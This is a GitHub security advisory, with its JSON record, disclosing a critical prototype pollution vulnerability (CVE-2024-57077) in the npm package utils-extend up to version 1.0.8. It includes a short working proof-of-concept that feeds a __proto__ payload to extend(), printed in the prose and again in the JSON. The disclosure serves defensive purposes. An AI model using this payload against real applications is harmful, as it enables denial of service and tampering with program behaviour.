ghsa-7qgg-vw88-cc99
Vulnerability from github
Published
2025-02-06 06:31
Modified
2025-09-03 15:22
Severity ?
9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Summary
utils-extend Prototype Pollution
Details

The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

PoC

```js async function exploit() { const utilsextend = require(\"utils-extend\"); const payload = JSON.parse('{\"proto\":{\"exploited\":true}}'); const result = await utilsextend.extend({}, payload); }

await exploit(); ```

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "utils-extend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-57077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-06T23:31:52Z",
    "nvd_published_at": "2025-02-05T22:15:31Z",
    "severity": "CRITICAL"
  },
  "details": "The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\n## PoC\n```js\nasync function exploit() {\n   const utilsextend = require(\\\"utils-extend\\\");\n   const payload = JSON.parse(\u0027{\\\"__proto__\\\":{\\\"exploited\\\":true}}\u0027);\n   const result = await utilsextend.extend({}, payload);\n}\n\nawait exploit();\n```",
  "id": "GHSA-7qgg-vw88-cc99",
  "modified": "2025-09-03T15:22:41Z",
  "published": "2025-02-06T06:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57077"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/tariqhawis/64bac50f8c2706e6880e45d50a507114"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/douzi8/utils-extend"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "utils-extend Prototype Pollution"
}


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